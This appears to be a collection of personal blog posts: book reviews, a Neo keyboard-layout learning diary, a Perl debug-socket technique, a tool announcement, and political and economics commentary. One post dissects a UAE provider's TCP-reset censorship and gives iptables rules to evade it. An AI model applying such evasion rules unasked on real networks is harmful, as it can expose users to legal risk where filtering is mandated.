Was mich durchaus irritiert hat bei der Nachlese zu diesem Buch war, wie sehr anscheinend meine Leseerfahrung von denen Anderer abweicht. Wird in den Feuilletons Proust angeführt, so zielt der Absatz fast unweigerlich auf die Erinnerung des Erzählers beim Genuss einer Madeleine oder des ihm vorenthaltenen Kusses der Mutter ab – beides Szenen, die zwar unglaublich detailliert im ersten Teil des ersten Buches dargestellt werden (und auf die später noch vielfach zurückgeblickt wird) – so als seien dies die zentralen Momente, die das Werk ausmachen. Mit Blick auf das gesamte Werk kommen mir gerade diese Stellen aber doch vergleichsweise wenig gehaltvoll vor. Die Aspekte des Romans, die ihn in meinen Augen großartig machen, sind vor allem die minutiös, in Zeit vor und zurück springend analysierten sozialen Dramen der Gesellschaft, durchaus nicht frei von Selbstironie; und natürlich der alles durchdringende Komplex von Liebe, Leidenschaft, Betrug und Eifersucht. Ist das nicht das, was den Leser an existentiellen Wahrheiten teilhaben lässt? Warum konzentriert sich also die Rezeption so sehr auf die unwillkührlichen Erinnerungen, die nun einmal punktuell und höchst individuell sind? – Vielleicht muss man den Grund darin suchen, dass einige dieser Autoren nicht weiter vorgedrungen sind als bis zu diesen Episoden; oder aber ich habe das Buch einfach mit einem ganz anderen Fokus gelesen.
Über einige Eindrücke bin ich während der Lektüre im Unklaren geblieben. Am Ende zumindest der ersten vier Bücher (bzw. den jeweils zwei Teilen, die sie ausmachen) hat mich jedes Mal ein Gefühl der Unvermitteltheit getroffen: Wie, aber die Geschichte geht doch gerade erst los?, habe ich jedes Mal gedacht. Ist das gewollt? Oder ist es das Gefühl eines Marathonläufers, der beim Anblick der Ziellinie denkt: Schon? – Des weiteren musste ich bei einigen Passagen herzhaft lachen und zuweilen auch den Kopf schütteln ob der Selbstreferenzialität, Provinzialität und Unfortschrittlichkeit der Personen und Gesellschaften. Es wirkt, als sei das sprichwörtliche Brett vorm Kopf sichtbar gemacht durch die Art und Weise, wie der Erzähler scheinbar teilnahmslos aus den »Skandalen« der lokalen gesellschaftlichen Prominenz berichtet, ganz im Stile Dostojewskis. Aber gerade diese »Unbeschwertheit« im Umgang mit Proust – dass man also über die Gesellschaftskarikaturen und den Autor selbst lachen kann – scheint nicht gerade unumstritten zu sein, meint Proust-Neu-Übersetzer Michael Kleeberg.
Wie viel muss man über Proust wissen, um das Werk gewinnbringend zu lesen? Ich habe im Nachhinein ein wenig in seiner Biographie gestöbert, fand das aber nicht wirklich aufschlussreich. Ja, je mehr man liest, desto mehr meint man, der Roman sei tatsächlich ein autobiografisches Kompendium. Aber ändert das etwas? Ich glaube nicht. – Im übrigen ist ausgerechnet Roland Barthes – von dem der einflussreiche Aufsatz »Der Tod des Autors« stammt – ein großer Proust-Anhänger gewesen, der der Meinung war, nach diesem finalen Monument des Romans habe es keinen Sinn mehr, einen weiteren zu schreiben, und seinen dahingehenden Versuch in Vorlesungsnotizen umgearbeitet hat.
Der Schriftsteller gebraucht nur ganz unaufrichtig in der Sprache der Vorreden und der Widmungen gewohnheitsmäßig die Wendung: ›Mein lieber Leser.‹ In Wirklichkeit ist jeder Leser, wenn er liest, ein Leser nur seiner selbst. Das Werk des Schriftstellers ist dabei lediglich eine Art von optischem Instrument, das der Autor dem Leser reicht, damit er erkennen möge, was er in sich selbst vielleicht sonst nicht hätte erschauen können. Daß der Leser das, was das Buch aussagt, in sich selbst erkennt, ist der Beweis für die Wahrheit eben dieses Buches, und umgekehrt gilt das gleiche, wenigstens bis zu einem gewissen Grad, da die Differenz zwischen den beiden Texten sehr oft nicht dem Autor, sondern dem Leser zur Last gelegt werden muss.
Wer die Zeit und Ausdauer hat, dem sei die Lektüre empfohlen.
Dobelli: Die Kunst des klaren Denkens – Ganz nett für zwischendurch in der Bahn zum Lesen. Aber die referenzierten Werke (Kahnemann, Cialdini) sind natürlich wesentlich aufschlussreicher. – Melville: Moby Dick – Ein Klassiker, auch heute noch ist die Figur Ahabs Prototyp der Idee des verrückten und unnachgiebigen Anführers. Ich habe als Kind vermutlich eine vereinfachte Version gelesen, denn die Geschichte zieht sich ewig lang hin und ist in absolut ermüdendem, slang-durchsetzten Englisch geschrieben. Erstaunt hat mich, wie wissenschaftlich der Roman anmutet, und über Seiten die Genealogien gewisser Wahlgattungen ausgebreitet wird. (Das Buch erschien, als Darwin seine Evolutionstheorie noch nicht veröffentlicht hatte.)
William Gibson: Pattern Recognition – Mein zweiter Versuch Gibson zu lesen. Ganz interessant, aber für mich zu konfus. – Hunter S. Thompson: The Rum Diary – Das erste Mal, dass ich Thompson gelesen habe. Ganz lustiges Buch, und die Verzweiflung des Protagonisten kommt viel besser rüber als im gleichnamigen, kürzlich erschienen Film. – Charles Bukowskis erster und letzter Roman: Post Office und Pulp sind wie immer bei Bukowski, gute Unterhaltung. – Richard Price: Clockers ist irgendwie ziemlich länglich, aber ich habe es doch zu Ende gelesen. Gefühlt hat das Englisch in dem Buch auch ein bisschen auf meine Sprache abgefärbt. Der Film zum Buch ist nicht zu empfehlen.
Nachdem ich Aldous Huxleys Klassiker Brave New World wieder gelesen hatte und beeindruckt war, habe ich anschließend seine Utopie Island gelesen, und dann auch seine Abhandlung über die Ursprünge und Ausprägungen von Ewigkeitsphilosophie, The Perennial Philosophy, gelesen. Die Utopie hat mir ganz gut gefallen (ist nur etwas kitschig), aber mit seiner Faszination mit fernöstlicher Einheits- und Ewigkeits-Philosophie konnte ich überhaupt nichts anfangen.
Seit ich das kleine Büchlein Poststructuralism: A very short introduction gelesen habe, habe ich etwas für Kunst übrig. Siehe zum Beispiel die Kontroverse um Fountain.
Zwei Bücher habe ich gelesen, die mir wirklich gut gefallen haben. Zunächst Roberto Bolaños früher Roman The Savage Detectives. Ein Paradebeispiel für die nichtlineare/zirkuläre Erzählstruktur spanischer Literatur, ist das Buch lustig, spannend und voller Charaktere, an die man sich noch lange erinnern wird. Allein der Name der avant-gardistischen jungen Dichtertruppe, um die sich die Geschichte dreht: Visceral Realists, also sich auf tiefe, inwärts gerichtete und nicht dem Intellekt zugängliche Gefühle beziehende Realisten – ist eine geniale Wortkonstruktion. – Auf Empfehlung eines Bekannten habe ich Theodore Rozsaks Roman Flicker gelesen. Wenn man Umberto Eco mag, dann liegt man hier sicher nicht falsch. Eine grandiose Geschichte zwischen Wahn und Realität, die ich sicherlich nicht komplett auskosten konnte, weil mir viele der historischen Filmreferenzen fehlten. Lediglich das Ende ist ein bisschen mau.
Zwei Sachbücher habe ich gelesen, die allerdings so voller Fakten waren, dass es irgendwann ermüdend wurde und ich mir jeweils die letzten 200 Seiten gespart habe. Anders als auf dem Buchrücken von Made in Americe kann man Bill Bryson auch nicht beschreiben: „witty, learned, compulsive.“ – Das Kompendium The German Genius von Peter Watson ist ziemlich beeindruckend. Der Brite wählt einen Ansatz, den ich sehr wichtig finde: Zu zeigen, dass Deutsche Geschichte viel mehr ist als die Zeit ab der Machtergreifung Hitlers; insofern kümmert er sich statt dessen um die Aspekte der Kunst, Philosophie, Forschung, Sprache, Militärtechnik und sozialer Organisation der letzten 250 Jahre, die deutschen Ursprungs sind und bis heute bleibende Spuren in Europa und der Welt hinterlassen haben.
Ein Büchlein voller interessanter Fragen ist Ludwig Wittgensteins Philosophische Untersuchungen. Zum Beispiel solche wie diese hier:
226 – Nimm an, Einer folt der Reihe 1, 3, 5, 7, … indem er die Reihe der 2x+1 hinschreibt. Und er fragt sich: »aber tue ich auch immer das Gleiche, oder jedesmal etwas anderes?« Wer von einem Tag auf den andern verspricht »Morgen will ich dich besuchen« – sagt der jeden Tag das Gleiche; oder jeden Tag etwas anderes?
Das Buch durchzieht eine ständige Dialektik zwischen innerer Wahrnehmung und äußeren Umständen: Befolgt man eine Regel (zum Beispiel die der Arithmetik), wenn man glaubt, man befolge sie? Ist dies von außen überprüfbar? Ist überhaupt über den Begriff des Verstehens verhandelbar, d.h. kann man jemandem zugestehen, etwas verstanden zu haben, nur anhand stichprobenartiger Äußerungen, die konform mit der zu überprüfenden Regel gehen? – Es sind unter anderem solche Fragen, mit denen Wittgenstein sich auf beeindruckend spielerische Weise und mit vielen prägnanten Beispielen nähert. Und doch bleibt bei mir der Eindruck, nicht wirklich etwas „mitgenommen“ zu haben aus diesem Buch. Ist es, weil ich seit nunmehr vier Jahren in einer Welt der Mathematik lebe, in der es fast nur um Systeme ziemlich abstrakter Art geht, von der man notwendigerweise immer nur ein fragmentarisches Verständnis hat? In jedem Falle erscheinen mir viele dieser Fragen nicht wirklich in die Tiefe zu gehen. –
Und dann habe ich Auf der Suche nach der verlorenen Zeit von Marcel Proust gelesen. Dem widme ich aber einen eigenen Post.
Vor einem Jahr habe ich angefangen, mit dem Neo-Layout statt wie vorher mit dem US-QWERTY-Layout zu tippen. Von den für mich sehr hilfreichen Erfahrungsberichten von Umsteigern geleitet – in deren Liste ich mich hiermit auch einreihen will – habe ich während meines Umstiegs in den ersten Tagen recht regelmäßig Protokoll geführt.
Tag 1 (12.08.): Wow, ich fühle mich komplett hilflos vor meinem eigenen Rechner. Für jeden Satz, den ich tippen will, brauche ich eine Minute und mehr. Passwörter einzugeben ist der Horror. Jede Tastenkombination, die sonst einfach „drin“ ist, geht voll ins Leere, besonders in Vim bekomme ich gar nichts hin; ich spiele sogar ein paar Configs kaputt, weil ich unabsichtlich die alte Taste „k“ drücke, aber da liegt nun „r“ wie „replace“. Ich habe eine erste Mail geschrieben (aber auf Kiswahili, d.h. mit untypischen Buchstabenanordnungen) – alles ist so anstrengend!
Tag 2 (13.08.): Mit viel Müh und Not kann ich mittlerweile tmux und Vim rudimentär bedienen. Die Wörter tröpfeln mittlerweile vor sich hin, manche Trigramme kommen schon ganz flüssig raus. Wenn ich nicht am Computer sitze, tippe ich teilweise unbewusst in Gedanken Wörter vor mich hin; wird mir das bewusst, dann bemühe ich mich, in Neo zu denken. In der Theorie kann ich zumindest die ersten zwei Ebenen auswendig, muss aber teilweise noch mehrere Sekunden überlegen, bevor ich lostippen kann. Für die dritte Ebene blende ich bei Bedarf den NeoLayoutViewer ein. Ab und zu bricht meine Konzentration plötzlich ein und ich tippe fünf Mal nacheinander auf die gleiche falsche Taste, bis ich mich zusammenreiße und nachdenke. – Alles in allem ist es sehr, wie eine neue Sprache zu lernen…
Tag 3 (14.08.): Alles geht ein bisschen besser und flotter. Nichts geht wirklich fehlerfrei. Heute habe ich bachelorarbeitsbedingt qualvoll langsam getext, und ich muss sagen: Den wirklichen Vorteil sehe ich da nicht – auf einer US-Belegung sind die wichtigen Sonderzeichen mindestens genau so gut zu erreichen… (Aktuelle Geschwindigkeit: 63 Tasten pro Minute.)
Tag 4 (15.08.): Horror: sieben Stunden bei der Arbeit, und ich bekomme nichts hin, alles dauert ewig. Keine Lust, mehr zu schreiben.
Tag 5 (16.08.): Noch ein Tag Arbeit. Irgendwie geht alles, aber gefühlt konnte ich vor zwei Tagen noch sicherer und schneller tippen…
Tag 9 (21.08.): Nachdem ich das Wochenende über nicht viel vorm Rechner saß, musste ich mich zu Beginn der Woche doch mal wieder an die Bachelorarbeit setzen. Mittlerweile bin ich nicht mehr so ganz gefrustet, und manche (selbst lange) Wörter schreiben sich schon wirklich flüssig. Das wird schon. (Mittlerweile ca. 120 KPM.)
Tag 14 (26.08.): Stichtag: Bis heute hatte ich mir Zeit gegeben, um zu entscheiden, ob ich weiter Neo tippen will. Ich würde das Experiment nicht als „gescheitert“ ansehen, aber ich bin mit 140 Tasten pro Minute noch weit hinter dem, was ich mit QWERTY geschafft habe. Diverse Di- und Trigramme kommen mittlerweile sehr flüssig – aber ich habe das Gefühl, dass ich doch irgendwie jedes Wort ein paar Mal tippen muss, bis ich es wirklich kann. Morgen wird es ernst, denn da veranstalte ich eine Schulung und muss zwei Tage lang am Beamer tippen…
Tag 104 (23.11.): Das Muscle Memory ist schon lange da: Ich kann mich nicht mehr erinnern, wo die Tasten vorher lagen, ganz natürlich finden meine Finger Tag für Tag ihren Weg. Ich vertippe mich gefühlt selten, aber meine Schreibgeschwindigkeit ist mit ca. 330 Anschlägen pro Minute noch immer erst bei ca. 2/3 meiner Geschwindigkeit von vor dem Umstieg.
Was ich schon früh zu schätzen gelernt habe ist die Mod4-Taste, die die vierte Ebene aktiviert: Hier kann man ohne umzugreifen mit den Cursor-Tasten navigieren, an den Anfang und das Ende der Zeile springen sowie Zeichen löschen. Das nutze ich sehr häufig auch in Vim im Insert-Mode, was ja normalerweise nicht als „die reine Lehre“ angesehen wird: Mit NEO muss man aber nicht umgreifen und die Homerow verlassen, so dass es viel schneller als ein zweifacher Mode-Wechsel ist. – Überhaupt Vim: Ich hätte nie gedacht – und das war auch der einzige Grund, warum ich nicht schon mal früher Dvorak gelernt habe – dass man Vim auch mit komplett umgestellten Tasten bedienen kann. Ich navigiere selbst häufig mit hjkl, auch wenn die Buchstaben denkbar merkwürdig dafür angeordnet sind. Man gewöhnt sich an alles. :-)
Tag 372 (19.08.): Vor ziemlich genau einem Jahr bin ich umgestiegen – und mittlerweile habe ich meine alte Tipp-Geschwindigkeit von knapp 470 Tasten pro Minute wieder erreicht. Das scheint nicht wirklich ein Fortschritt zu sein – zumindest auf den ersten Blick. Allerdings glaube ich, dass ich insgesamt schneller, besser und ergonomischer tippe: ich schaue nie mehr auf die Tastatur, ich muss für Pfeiltasten, Backspace, Escape und ähnliche Sequenzen Dank der Mod4-Taste meine Finger nur minimal bewegen. Insgesamt bin ich also ziemlich zufrieden mit meinem Umstieg.
Ein paar Anmerkungen zum Lernen:
Ein paar technische Bemerkungen zum Neo-Layout:
\alpha
.Ich möchte abschließend noch eine etwas philosophische Dimension dieses Umstieges thematisieren. Der Satz »Der Mensch gewöhnt sich an Alles« ist tiefgehender, als man denken könnte. Mir ist es innerhalb von wenigen Wochen gelungen, eine meiner zentralen Tätigkeiten komplett anders auszuüben. Dass das am Anfang frustrierend ist – und diese Notizen haben mich jetzt noch einmal ziemlich klar daran erinnern lassen, wie genervt ich war – ist natürlich zu erwarten. Aber wo ein Wille ist, ist auch ein Weg.
Genau wie die Anordnung der Buchstaben auf der Tastatur ziemlich arbiträr ist, und man von einer Anordnung auf die andere wechseln kann, weil keine der beiden eine inhärente „Wahrheit“ über Buchstaben und sprachliche Sätze enthält – genau so kann man auch Sprachen, Grammatiken, Denksysteme wechseln. Ich zum Beispiel sehe nun die Buchstaben K und H als ziemlich ähnlich an, weil ich sie mit dem gleichen Finger tippe und mich oft vertippt habe. Andere Leute können das vermutlich nicht nachvollziehen, und objektiv betrachtet ist mein Ähnlichkeitsgefühl auch absurd. Und doch lassen sich Effekte von Sprachverarbeitung auf die Realitätswahrnehmung feststellen.
Ich bin der Meinung, dass genau dieses Umwerfen gewisser fest geglaubter, aber tatsächlich arbiträrer Grundsätze ganz wichtig dafür ist, geistig nicht so schnell zu altern. Ein paar Ideen:
Oder, mit den Worten des Aphorismus Nr. 552 aus Nietzsches Menschliches, Allzumenschliches I, betitelt Das einzige Menschenrecht:
Wer vom Herkömmlichen abweicht, ist das Opfer des Außergewöhnlichen; wer im Herkömmlichen bleibt, ist der Sklave desselben. Zu Grunde gerichtet wird man auf jeden Fall.
Have you ever read any of bin Laden’s writings? – Oh, you neither? – I didn’t even know he wrote anything substantial until today: I only remembered the bad-quality preaching video tapes aired after 9/11.
His writings are in part a very lucid criticism of US-American policies and practices. See, for example, this Letter to the American people from 2002. Disregarding all the cranky religious stuff, you’ll for example find these gems in Question 2, Part 2 (b) (xii):
(xii) […] All manners, principles and values have two scales: one for you and one for the others.
(a) The freedom and democracy that you call to is for yourselves and for white race only; as for the rest of the world, you impose upon them your monstrous, destructive policies and Governments, which you call the ‘American friends’. Yet you prevent them from establishing democracies. […]
(c) You are the last ones to respect the resolutions and policies of International Law, yet you claim to want to selectively punish anyone else who does the same. Israel has for more than 50 years been pushing UN resolutions and rules against the wall with the full support of America.
Differently structured and spiced with a bit of irony and cynism, this is straight-from-the-book Chomsky critique.
I searched for his writings in the first place because of this article from Ian Welsh:
The problem with [bin Laden’s] critique is that it is, substantially, accurate. Hate bin Laden or not, this is a model of the world which has predictive and analytical utility. It explains the past, it predicts the future, and it does both well. The fact that bin Laden’s critique is fairly similar to various left-wing critiques is not accidental. It is not because bin Laden and the left are fellow travellers (Islamists are strongly opposed to genuine leftists), it is because any set of model that track reality fairly well will tend to look alike. Of course, that they look the same is used to discredit people by association. “You agree with bin Laden” they say, and shut down discussion of how the world actually works.
The whole article is really worth reading.
Debbuging long-running processes or server software is usually an “either–or”: Either you activate debugging and have huge files that you rarely if ever look at, and they take up a considerable amount of disk space – or you did not activate the debugging mode and thus cannot get to the debugging output to figure out what the program is doing right now.
There is a really nice quick and dirty Non-invasive printf
debugging technique that just does a printf
on a
non-existent file descriptor, so that you can view the messages by strace
-ing
the process and grepping for EBADF
.
I want to share here a few Perl code snippets for an approach that is a little neater IMO, yet a little bit more invasive. Consider a simple “server” doing some work, occasionally printing out a debug statement:
#!/usr/bin/perl
use strict;
use warnings;
sub Debug { }; # empty for now
while(1) {
Debug("Here I am!");
select undef, undef, undef, 0.1;
}
The idea is now to on demand create a UNIX domain socket where the process can write debug information to, so that (possibly a few) other processes can read and print out the debug info received on that socket.
We introduce a “global” structure $DEBUG
, and a function to initialize and
destroy the socket, which is named debug-<pid-of-process>
and placed in /tmp
.
my $DEBUG = {
socket => undef,
conn => [],
last_check => 0,
};
sub Debug_Init {
use IO::Socket;
use Readonly;
my Readonly $SOCKET = "/tmp/debug-$$";
return if $DEBUG->{socket};
unlink $SOCKET;
my $s = IO::Socket::UNIX->new(
Type => IO::Socket::SOCK_STREAM,
Local => $SOCKET,
Listen => 1,
) or die $!;
$s->blocking(0);
$DEBUG->{socket} = $s;
}
sub Debug_Cleanup {
return unless $DEBUG->{socket};
my $path = $DEBUG->{socket}->hostpath;
undef $DEBUG->{socket};
unlink $path;
}
When the process receives a SIGUSR1
, we call Debug_Init
, and to be sure
we’ll clean up the socket in case of normal exit:
$SIG{USR1} = \&Debug_Init;
END { Debug_Cleanup; }
The socket is in non-blocking mode, so trying to accept()
new connections
will not block. Now, whenever we want to print out a debugging
statement, we check if anyone has requested the debugging socket
via SIGUSR1
. After the first connection is accepted, we’ll only
check once every second for new connections. For every accepted
connection, we send the debugging message to that peer. (Note that
UNIX domain sockets with Datagram type sadly do not support broadcast
messaging – otherwise this would probably be easier.)
In case sending the message fails (probably because the peer disconnected), we’ll remove that connection from the list. If the last connection goes, we’ll unlink the socket.
sub Debug {
return unless $DEBUG->{socket};
my $s = $DEBUG->{socket};
my $conn = $DEBUG->{conn};
my $msg = shift or return;
$msg .= "\n" unless $msg =~ /\n$/;
if(time > $DEBUG->{last_check}) {
while(my $c = $s->accept) {
$c->shutdown(IO::Socket::SHUT_RD);
push @$conn => $c;
}
$DEBUG->{last_check} = time if @$conn;
}
return unless @$conn;
for(@$conn) {
$_->send($msg, IO::Socket::MSG_NOSIGNAL) or undef $_;
}
@$conn = grep { defined } @$conn;
unless(@$conn) {
Debug_Cleanup();
}
}
Here’s a simple script to display the debugging info for a given PID, assuming it uses the setup described above:
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $pid = shift;
if(not defined $pid) {
print "usage: $0 <pid>\n";
exit(1);
}
kill USR1 => $pid or die $!;
my $path = "/tmp/debug-$pid";
select undef, undef, undef, 0.01 until -e $path;
my $s = IO::Socket::UNIX->new(
Type => IO::Socket::SOCK_STREAM,
Peer => $path,
) or die $!;
$s->shutdown(IO::Socket::SHUT_WR);
$| = 1;
while($s->recv(my $m, 4096)) {
print $m;
}
We can now start the server; no debugging happens. But as soon as we
send a SIGUSR1
and attach to the (now present) debug socket, we can
see the debug information:
$ perl server & ; sleep 10
[1] 19731
$ perl debug-process 19731
Here I am!
Here I am!
Here I am!
^C
When we hit Ctrl-C, the debug socket vanishes again.
In my opinion this is a really neat way to have a debugging infrastructure in place “just in case”.
I’m at home fixing some things one my mother’s new laptop, including upgrading to the latest Ubuntu. (Usually that’s a bad idea, but in this case it came with an update to LibreOffice which repaired the hang it previously encountered when opening any RTF file. Which was a somewhat urgent matter to solve.)
But, alas, one of the games (five-or-more
, formerly glines
) broke
and now segfaults on startup. Happens to be the one game that she
likes to play every day. What to do? The binary packages linked
here don’t work.
Here’s how to roll your own: Get the essential development libraries
and the ones specifically required for five-or-more
, also the
checkinstall
tool.
apt-get install build-essential dpkg-dev checkinstall
apt-get build-dep five-or-more
Change to a temporary directory, get the source:
apt-get source five-or-more
Then apply the fix, configure and compile it:
./configure
make
But instead of doing a make install
, simply use sudo checkinstall
.
This will build a pseudo Debian package, so that at least removing it
will be easier in case an update will fix the issue.
How can this be difficult to fix?! *grr*
I’m very pleased to announce that a little program of mine called
nocache
has officially made it into the Debian distribution and
migrated to Debian testing just a few days ago.
The tool started out as a small hack that employs mmap
and mincore
to check which blocks of a file are already in the Linux FS cache, and
uses this info in the intercepted libc’s open
/close
syscall
wrappers and related functions in an effort to restore the cache to its
pristine state after every file access.
I only wrote this tool as a little “proof of concept”, but it seems there are people out there actually using this, which is nice.
A couple of links:
My thanks go out to Dmitry who packaged and will be maintaining the tool for Debian – as well as the other people who engaged in the lively discussions in the issue tracker.
Update: Chris promptly provided an Arch Linux package, too! Thanks!
Mein Freund Kilian von der LMU hat sich zusammen mit zwei anderen Wissenschaftlern eine Studie ausgedacht, um die Visuelle Aufmerksamkeit von Teilnehmern zu testen. Ziel ist es, mit einem auf Google Maps basierenden Interface nach Tankstellen in Luftbildern zu suchen und diese zu markieren.
Die Studie ist offen für alle (sofern man über 18 ist und den GMaps-Nutzungsbedingungen zustimmt). Hier geht es zur Studie „Map Foraging“. Ein Hinweis: Bitte die einleitenden Texte sehr genau lesen – die Steuerung funktioniert nämlich nicht ganz so, wie man das von Google Maps gewohnt ist!
Ich selbst habe die Studie mehrmals hintereinander „gespielt“, einfach weil es wirklich Spaß macht.
Ich sitze schon eine Weile auf diesem Artikel, der argumentiert, dass Überpopulation sich nicht als ein großes Problem darstellen wird in den kommenden Jahrzehnten. Jeffrey Sachs hatte ja argumentiert, man müsse die Weltbevölkerung bei ca. acht Milliarden Menschen stabilisieren, was ich nach wie vor für glaubhaft halte. – Mir erscheint der „No Population Bomb“-Artikel daher etwas zu optimistisch und technikgläubig. Und mal ehrlich: Dass Länder mit einem hohen BIP/Kopf eine stabile (oder stagnierende) Geburtenrate haben, war doch nicht neu?
„There is no alternative“ ist lesenswert mit interessanten Einsichten.
In the 1990s and the 2000s, right-wing parties were the enthusiasts of the market, pushing for the deregulation of banks, the privatisation of core state functions and the whittling away of social protections. All of these now look to have been very bad ideas. The economic crisis should really have discredited the right, not the left. So why is it the left that is paralysed?
Die Schadenfreude über den Reinhart–Rogoff-Fehler ist natürlich besonders in linken Kreisen verbreitet, aber Krugman fragt zu Recht:
Yet two big questions remain. First, how did austerity doctrine become so influential in the first place? Second, will policy change at all now that crucial austerian claims have become fodder for late-night comics?
Und dann habe ich heute einen interessanten Artikel über MMT gelesen. Ich wollte mich generell mal mit (Post-)Keynesianismus beschäftigen, weiß aber nicht wirklich, wo ich da anfangen soll.
Zum Schluss noch ein paar nachdenklich-wütende Worte zu Boston. Das im ersten Satz verlinkte Video ist wirklich ziemlich beunruhigend.
The internet is censored in the UAE. Not really bad like in China – it’s rather used to restrict access to “immoral content”. Because you know, the internet is full of porn and Danish people making fun of The Prophet. – Also, downloading Skype is forbidden (but using it is not).
I have investigated the censorship mechanism of one of the two big providers and will describe the techniques in use and how to effectively circumvent the block.
If you navigate to a “forbidden page” in the UAE, you’ll be presented with a screen warning you that it is illegal under the Internet Access Management Regulatory Policy to view that page.
This is actually implemented in a pretty rudimentary, yet effective
way (if you have no clue how TCP/IP works). If a request to a
forbidden resource is made, the connection is immediately shut down by
the proxy. In the shutdown packet, an <iframe>
code is placed that
displays the image:
<iframe src="http://94.201.7.202:8080/webadmin/deny/index.php?dpid=20&
dpruleid=7&cat=105&ttl=0&groupname=Du_Public_IP_Address&policyname=default&
username=94.XX.0.0&userip=94.XX.XX.XX&connectionip=1.0.0.127&
nsphostname=YYYYYYYYYY.du.ae&protocol=nsef&dplanguage=-&url=http%3a%2f%2f
pastehtml%2ecom%2fview%2fc336prjrl%2ertxt"
width="100%" height="100%" frameborder=0></iframe>
Capturing the TCP packets while making a forbidden request – in this case: a
list of banned URLs in the UAE, which itself is banned – reveals one crucial
thing: The GET
request actually reaches the web server, but before the answer
arrives, the proxy has already sent the Reset-Connection-Packets. (Naturally,
that is much faster, because it is physically closer.)
Because the client thinks the connection is closed, it will itself send out Reset-Packets to the Webserver in reply to its packets containing the reply (“the webpage”). This actually shuts down the connection in both directions. All of this happens on the TCP level, thus by “client” I mean the operating system. The client application just opens a TCP socket and sees it closed via the result code coming from the OS.
You can see the initial reset-packets from the proxy as entries 5 und 6 in the list; the later RST packets originate from my computer because the TCP stack considers the connection closed.
First, we need to find out at which point our HTTP connection is being hijacked. To do this, we search for the characteristic TCP packet with the FIN, PSH, ACK bits set, while making a request that is blocked. The output will be something like:
$ sudo tcpdump -v "tcp[13] = 0x019"
18:38:35.368715 IP (tos 0x0, ttl 57, ... proto TCP (6), length 522)
host-88-80-29-58.cust.prq.se.http > 192.168.40.73.37630: Flags [FP.], ...
We are only interested in the TTL of the FIN-PSH-ACK packets: By substracting this from the default TTL of 64 (which the provider seems to be using), we get the number of hops the host is away. Looking at a traceroute we see that obviously, the host that is 64 - 57 = 7 hops away is located at the local ISP. (Never mind the un-routable 10.* appearing in the traceroute. Seeing this was the initial reason for me to think these guys are not too proficient in network technology, no offense.)
$ mtr --report --report-wide --report-cycles=1 pastehtml.com
HOST: mjanja Loss% Snt Last Avg Best Wrst StDev
1.|-- 192.168.40.1 0.0% 1 2.9 2.9 2.9 2.9 0.0
2.|-- 94.XX.XX.XX 0.0% 1 2.9 2.9 2.9 2.9 0.0
3.|-- 10.XXX.0.XX 0.0% 1 2.9 2.9 2.9 2.9 0.0
4.|-- 10.XXX.0.XX 0.0% 1 2.9 2.9 2.9 2.9 0.0
5.|-- 10.100.35.78 0.0% 1 6.8 6.8 6.8 6.8 0.0
6.|-- 94.201.0.2 0.0% 1 7.7 7.7 7.7 7.7 0.0
7.|-- 94.201.0.25 0.0% 1 8.4 8.4 8.4 8.4 0.0
8.|-- 195.229.27.85 0.0% 1 11.1 11.1 11.1 11.1 0.0
9.|-- csk012.emirates.net.ae 0.0% 1 27.3 27.3 27.3 27.3 0.0
10.|-- 195.229.3.215 0.0% 1 146.6 146.6 146.6 146.6 0.0
11.|-- decix-ge-2-7.i2b.se 0.0% 1 156.2 156.2 156.2 156.2 0.0
12.|-- sth-cty1-crdn-1-po1.i2b.se 0.0% 1 164.7 164.7 164.7 164.7 0.0
13.|-- 178.16.212.57 0.0% 1 151.6 151.6 151.6 151.6 0.0
14.|-- cust-prq-nt.i2b.se 0.0% 1 157.5 157.5 157.5 157.5 0.0
15.|-- tunnel3.prq.se 0.0% 1 161.5 161.5 161.5 161.5 0.0
16.|-- host-88-80-29-58.cust.prq.se 0.0% 1 192.5 192.5 192.5 192.5 0.0
We now know that with a very high probability, all “connection termination” attempts from this close to us – relative to a TTL of 64, which is set by the sender – are the censorship proxy doing its work. So we simply ignore all packets with the RST or FIN flag set that come from port 80 too close to us:
for mask in FIN,PSH,ACK RST,ACK; do
sudo iptables -I INPUT -p tcp --sport 80 \
-m tcp --tcp-flags $mask $mask \
-m ttl --ttl-gt 55 -m ttl --ttl-lt 64 \
-j DROP;
done
NB: This checks for the TTL greater than, so we have to check for greater 56 and substract one to be one the safe side. You can also leave out the TTL part, but then “regular” TCP terminations remain unseen by the OS, which many programs will find weird (and sometimes data comes with a package that closes the connection, and this data would be lost).
That’s it. Since the first reply packet from the server is
dropped, or rather replaced with the packet containing the <iframe>
code, we rely on TCP retransmission, and sure enough, some 0.21 seconds
later the same TCP packet is retransmitted, this time not harmed in
any way:
The OS re-orders the packets and is able to assemble the TCP stream. Thus, by simply ignoring two packets the provider sends to us, we have an (almost perfectly) working TCP connection to where-ever we want.
I suppose the provider is using relatively old Cisco equipment. For example, some of their documentation hints at how the filtering is implemented. See this PDF, p. 39-5:
When filtering is enabled and a request for content is directed through the security appliance, the request is sent to the content server and to the filtering server at the same time. If the filtering server allows the connection, the security appliance forwards the response from the content server to the originating client. If the filtering server denies the connection, the security appliance drops the response and sends a message or return code indicating that the connection was not successful.
The other big provider in the UAE uses a different filtering technique, which does not rely on TCP hacks but employs a real HTTP proxy. (I heard someone mention “Bluecoat” but have no data to back it up.)
Im Feuilleton der FAZ ist seit vorgestern die ungekürzte frankfurter Rede von George Soros zu lesen, und heute erschien ein Interview mit ihm. Ich finde ja, dass George Soros ein beeindruckender Mann mit Weitsicht ist, dem man zuhören sollte. (Und nebenbei bemerkt: Die „Lesermeinungen“ zu dem Interview sind ja sowas von unterirdisch…)
Exzerpt aus David Graebers neuem Buch. Mit interessanten Einsichten:
What if those currently running the system, most of whom witnessed the unrest of the sixties firsthand as impressionable youngsters, are—consciously or unconsciously (and I suspect it’s more conscious than not)—obsessed by the prospect of revolutionary social movements once again challenging prevailing common sense?
Und:
… but [politicians, CEOs, trade bureaucrats, and so forth] have succeeded magnificently in convincing the world that capitalism—and not just capitalism, but exactly the financialized, semifeudal capitalism we happen to have right now—is the only viable economic system. If you think about it, this is a remarkable accomplishment.
Erinnert mich an: “The greatest trick the devil ever pulled was convincing the word he didn’t exist.”
Zum Ende wird der Artikel etwas utopisch, wie der Titel “A Practical Utopian’s Guide to the Coming Collapse” ja schon vermuten lässt.
Ich bin wieder in Berlin. Ich habe es keinesfalls bereut nach Dubai zu gehen, aber am Ende der Zeit wurde es mir doch ein bisschen langweilig. Ist nicht wirklich meine Stadt, auch wenn der Strand und das Essen vorzüglich sind.
